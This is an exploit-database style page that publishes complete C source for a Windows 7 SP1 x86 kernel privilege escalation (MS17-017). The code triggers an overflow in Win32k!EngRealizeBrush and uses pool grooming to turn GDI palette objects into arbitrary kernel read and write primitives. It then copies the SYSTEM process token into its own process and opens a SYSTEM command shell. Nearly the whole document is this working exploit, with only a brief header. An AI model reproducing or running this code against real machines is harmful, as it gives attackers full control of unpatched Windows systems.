Microsoft Windows 7 SP1 x86 GDI Palette Objects Local Privilege Escalation (MS17-017)

Published
Credit
Risk
2017.08.08
Saif
Medium
CWE
CVE
Local
Remote
CWE-264
N/A
Yes
No

#include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <Psapi.h>

//From http://stackoverflow.com/a/26414236 this defines the details of the NtAllocateVirtualMemory function
//which we will use to map the NULL page in user space.
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);

static HBITMAP bitmaps[2000];
static HPALETTE hp[2000];
HANDLE hpWorker, hpManager, hManager;
BYTE *bits;


// https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
DWORD UniqueProcessIdOffset;
DWORD TokenOffset;
} VersionSpecificConfig;

//VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; //win 7 SP 1
VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 };
void SetAddress(UINT* address) {
SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address);
}

void WriteToAddress(UINT* data, DWORD len) {
SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data);
}

UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) {
SetAddress((UINT *)&src);
DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst);
return res;
}

// Get base of ntoskrnl.exe
UINT GetNTOsBase()
{
UINT Bases[0x1000];
DWORD needed = 0;
UINT krnlbase = 0;
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}

// Get EPROCESS for System process
UINT PsInitialSystemProcess()
{
// load ntoskrnl.exe

UINT ntos = (UINT)LoadLibrary("ntkrnlpa.exe");
// get address of exported PsInitialSystemProcess variable
UINT addr = (UINT)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
UINT res = 0;
UINT ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if (ntOsBase) {
ReadFromAddress(addr - ntos + ntOsBase, (UINT *)&res, sizeof(UINT) / sizeof(PALETTEENTRY));//0x169114
}
return res;
}

// Get EPROCESS for current process
UINT PsGetCurrentProcess()
{
UINT pEPROCESS = PsInitialSystemProcess();// get System EPROCESS

// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));

UINT res = 0;

while (TRUE) {
UINT UniqueProcessId = 0;

// adjust EPROCESS pointer for next entry
pEPROCESS = (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT);
// get pid
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (UINT *)&UniqueProcessId, sizeof(UINT) / sizeof(PALETTEENTRY));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));
// if next same as last, we reached the end
if (pEPROCESS == (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT))
break;
}
return res;
}


void fengshui() {
HBITMAP bmp;
// we need 2 object 0x7F4
for (int y = 0; y < 2000; y++) {
//0x3A3 = 0xFe8
bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);
bitmaps[y] = bmp;
}

//Spray LpszMenuName User object in GDI pool. Ustx
// size 0x10+8
TCHAR st[0x32];
for (int s = 0; s < 2000; s++) {
WNDCLASSEX Class2 = { 0 };
wsprintf(st, "Class%d", s);
Class2.lpfnWndProc = DefWindowProc;
Class2.lpszClassName = st;
Class2.lpszMenuName = "Saif";
Class2.cbSize = sizeof(WNDCLASSEX);
if (!RegisterClassEx(&Class2)) {
printf("bad %d %d\r\n", s, GetLastError());
break;
}
}

for (int s = 0; s < 2000; s++) {
DeleteObject(bitmaps[s]);
}


for (int k = 0; k < 2000; k++) {
//0x1A6 = 0x7f0+8
bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL);
bitmaps[k] = bmp;
}


HPALETTE hps;
LOGPALETTE *lPalette;
//0x1E3 = 0x7e8+8
lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
lPalette->palNumEntries = 0x1E3;
lPalette->palVersion = 0x0300;
// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18
for (int k = 0; k < 2000; k++) {
hps = CreatePalette(lPalette);
if (!hps) {
printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k);
//return;
}
hp[k] = hps;
}

TCHAR fst[0x32];
for (int f = 500; f < 750; f++) {
wsprintf(fst, "Class%d", f);
UnregisterClass(fst, NULL);
}

}

UINT GetAddress(BYTE *buf, UINT offset) {
BYTE bytes[4];
for (int i = 0; i < 4; i++) {
bytes[i] = buf[offset + i];
}
UINT addr = *(UINT *)bytes;
return addr;
}

int main(int argc, char *argv[]) {
HWND hwnd;
WNDCLASSEX Class = { 0 };
Class.lpfnWndProc = DefWindowProc;
Class.lpszClassName = "Class";
Class.cbSize = sizeof(WNDCLASSEX);

printf(" __ ________________ ____ ________\r\n");
printf(" / |/ / ___< /__ / / __ < /__ /\r\n");
printf(" / /|_/ /\__ \/ / / /_____/ / / / / / / \r\n");
printf(" / / / /___/ / / / /_____/ /_/ / / / / \r\n");
printf("/_/ /_//____/_/ /_/ \____/_/ /_/ \r\n");
printf("\r\n");
printf(" [*] By Saif (at) SensePost \r\n");
printf(" Twitter: Saif_Sherei\r\n");
printf("\r\n");
printf("\r\n");

if (!RegisterClassEx(&Class)) {
printf("%s\r\n", "RegisterClass - Failed");
return 1;
}
hwnd = CreateWindowEx(NULL, "Class", "Test1", WS_VISIBLE, 0x5a1f, 0x5a1f, 0x5a1f, 0x5a1f, NULL, NULL, 0, NULL);
HDC hdc = GetDC(hwnd);

//0x10 is the magic number
printf("[*] Creating Pattern Brush Bitmap.\r\n");
HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL);
//HBITMAP bitmap = CreateBitmap(0x5aa, 0x11f, 1, 1, NULL);
if (!bitmap) {
printf("%s - %d\r\n", "CreateBitmap Failed.\r\n", GetLastError());
return 1;
}

//https://github.com/sam-b/HackSysDriverExploits/blob/master/HackSysNullPointerExploit/HackSysNullPointerExploit/HackSysNullPointerExploit.cpp
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
//Get address of NtAllocateVirtualMemory from the dynamically linked library and then cast it to a callable function type
FARPROC tmp = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)tmp;
//We can't outright pass NULL as the address but if we pass 1 then it gets rounded down to 0...
//PVOID baseAddress = (PVOID)0x1;
PVOID baseAddress = (PVOID)0x1;
SIZE_T regionSize = 0xFF; //Probably enough, it will get rounded up to the next page size
// Map the null page
NTSTATUS ntStatus = NtAllocateVirtualMemory(
GetCurrentProcess(), //Current process handle
&baseAddress, //address we want our memory to start at, will get rounded down to the nearest page boundary
0, //The number of high-order address bits that must be zero in the base address of the section view. Not a clue here
&regionSize, //Required size - will be modified to actual size allocated, is rounded up to the next page boundary
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, //claim memory straight away, get highest appropriate address
PAGE_EXECUTE_READWRITE //All permissions
);

if (ntStatus != 0) {
printf("Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
FreeLibrary(hNtdll);
return 1;
}

PVOID nullPointer = (PVOID)((UINT)0x4);
*(PUINT)nullPointer = (UINT)1;

//
printf("[*] Creating Pattern Brush.\r\n");
HBRUSH hbrBkgnd = CreatePatternBrush(bitmap);

SelectObject(hdc, hbrBkgnd);
fengshui();
printf("[*] Triggering Overflow in Win32k!EngRealizeBrush.\r\n");
//__debugbreak();
PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);
HRESULT res;
bits = (BYTE*)malloc(0x6F8);
for (int i = 0; i < 2000; i++) {
res = GetBitmapBits(bitmaps[i], 0x6F8, bits);
if (res > 0x6F8 - 1) {

hManager = bitmaps[i];
printf("[*] Manager Bitmap: %d\r\n", i);
break;
}
}
//__debugbreak();

//Get pFirstColor of adjacent Gh?8 XEPALOBJ Palette object
UINT pFirstColor = GetAddress(bits, 0x6F8 - 8);
printf("[*] Original Current Manager XEPALOBJ->pFirstColor: 0x%x\r\n", pFirstColor);

UINT cEntries = GetAddress(bits, 0x6F8 - 8 - 0x38);
printf("[*] Original Manager XEPALOBJ->cEntries: 0x%x\r\n", cEntries);

//BYTE *bytes = (BYTE*)&cEntries;
for (int y = 0; y < 4; y++) {
bits[0x6F8 - 8 - 0x38 + y] = 0xFF;
}
//__debugbreak();
SetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
//__debugbreak();

res = GetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
UINT uEntries = GetAddress(bits, 0x6F8 - 8 - 0x38);
printf("[*] Updated Manager XEPALOBJ->cEntries: 0x%x\r\n", uEntries);

UINT *rPalette;
rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY));
memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY));
for (int k = 0; k < 2000; k++) {
UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette);
if (res > 0x3BB) {
printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]);
hpManager = hp[k];
break;
}
}
//__debugbreak();
//for (int y = 0x3F0; y < 0x400; y++) {
// printf("%04x ", rPalette[y]);
//}
//printf("\r\n");

UINT wAddress = rPalette[0x3FE];
printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress);

UINT tHeader = pFirstColor - 0x1000;
tHeader = tHeader & 0xFFFFF000;
printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader);
//__debugbreak();
SetAddress(&tHeader);

//SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader);

UINT upAddress;
GetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (LPPALETTEENTRY)&upAddress);
printf("[*] Updated Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", upAddress);

UINT wBuffer[2];
for (int x = 0; x < 2000; x++) {
GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer);
//Debug
//if (wBuffer != 0xcdcdcdcd) {
// Release
//if (wBuffer[1] == 0x35316847) {
if (wBuffer[1] >> 24 == 0x35) {
hpWorker = hp[x];
printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker);
printf("[*] wBuffer: %x\r\n", wBuffer[1]);
break;
}
}

UINT gHeader[8];
//gHeader = (UINT*)malloc((0x4 - 1) * sizeof(PALETTEENTRY));
//GetPaletteEntries((HPALETTE)hpWorker, 0, 4, (LPPALETTEENTRY)gHeader);
ReadFromAddress(tHeader, gHeader, 8);
//__debugbreak();
UINT oHeader = pFirstColor & 0xFFFFF000;
printf("[*] Overflowed Gh05 Address: 0x%04x.\r\n", oHeader);
UINT oValue = oHeader + 0x1C;
//SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&oValue);
UINT value;
//GetPaletteEntries((HPALETTE)hpWorker, 0, 1, (LPPALETTEENTRY)&value);
//printf("[*] Value: 0x%04x.\r\n", value);
ReadFromAddress(oValue, &value, 1);

//printf("[*] Gh05 Object Header:\r\n");
//printf(" %04x %04x %04x %04x\r\n", gHeader[0], gHeader[1], gHeader[2], gHeader[3]);
//printf(" %04x %04x %04x %04x\r\n", gHeader[4], gHeader[5], gHeader[6], gHeader[7]);
//SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&oHeader);
gHeader[2] = value;
gHeader[3] = 0;
gHeader[7] = value;
//SetPaletteEntries((HPALETTE)hpWorker, 0, 4, (PALETTEENTRY*)gHeader);
UINT oHeaderdata[8];

ReadFromAddress(oHeader, oHeaderdata, 8);
printf("[*] Gh05 Overflowed Object Header:\r\n");
printf(" %04x %04x %04x %04x\r\n", oHeaderdata[0], oHeaderdata[1], oHeaderdata[2], oHeaderdata[3]);
printf(" %04x %04x %04x %04x\r\n", oHeaderdata[4], oHeaderdata[5], oHeaderdata[6], oHeaderdata[7]);

printf("[*] Gh05 Fixed Object Header:\r\n");
printf(" %04x %04x %04x %04x\r\n", gHeader[0], gHeader[1], gHeader[2], gHeader[3]);
printf(" %04x %04x %04x %04x\r\n", gHeader[4], gHeader[5], gHeader[6], gHeader[7]);

SetAddress(&oHeader);
//__debugbreak();
WriteToAddress(gHeader, 8);
printf("[*] Fixed Overflowed Gh05 Object Header.\r\n");
//UINT uHeader[8];
//ReadFromAddress(oHeader, uHeader, 8);
//printf("[*] Gh05 Overflowed Fixed Object Header:\r\n");
//printf(" %04x %04x %04x %04x\r\n", uHeader[0], uHeader[1], uHeader[2], uHeader[3]);
//printf(" %04x %04x %04x %04x\r\n", uHeader[4], uHeader[5], uHeader[6], uHeader[7]);

// get System EPROCESS
UINT SystemEPROCESS = PsInitialSystemProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
UINT CurrentEPROCESS = PsGetCurrentProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
UINT SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1);
fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken);
// write token to current process
UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress(&CurProccessAddr);

WriteToAddress(&SystemToken, 1);
//__debugbreak();
printf("[*] Dropping in SYSTEM shell...\r\n\r\n");
// Done and done. We're System :)
system("cmd.exe");


//getchar();
for (int f = 0; f < 2000; f++) {
DeleteObject(bitmaps[f]);
}
for (int f = 0; f < 2000; f++) {
DeleteObject(hp[f]);
}
TCHAR fst[0x32];
for (int f = 0; f < 500; f++) {
wsprintf(fst, "Class%d", f);
UnregisterClass(fst, NULL);
}

for (int f = 751; f < 2000; f++) {
wsprintf(fst, "Class%d", f);
UnregisterClass(fst, NULL);
}

ReleaseDC(hwnd, hdc);
DeleteDC(hdc);
DeleteObject(hbrBkgnd);
DeleteObject(bitmap);
FreeLibrary(hNtdll);
//free(bitmaps);
//VirtualFree(&baseAddress, regionSize, MEM_RELEASE);
//DestroyWindow(hwnd);
return 0;
}


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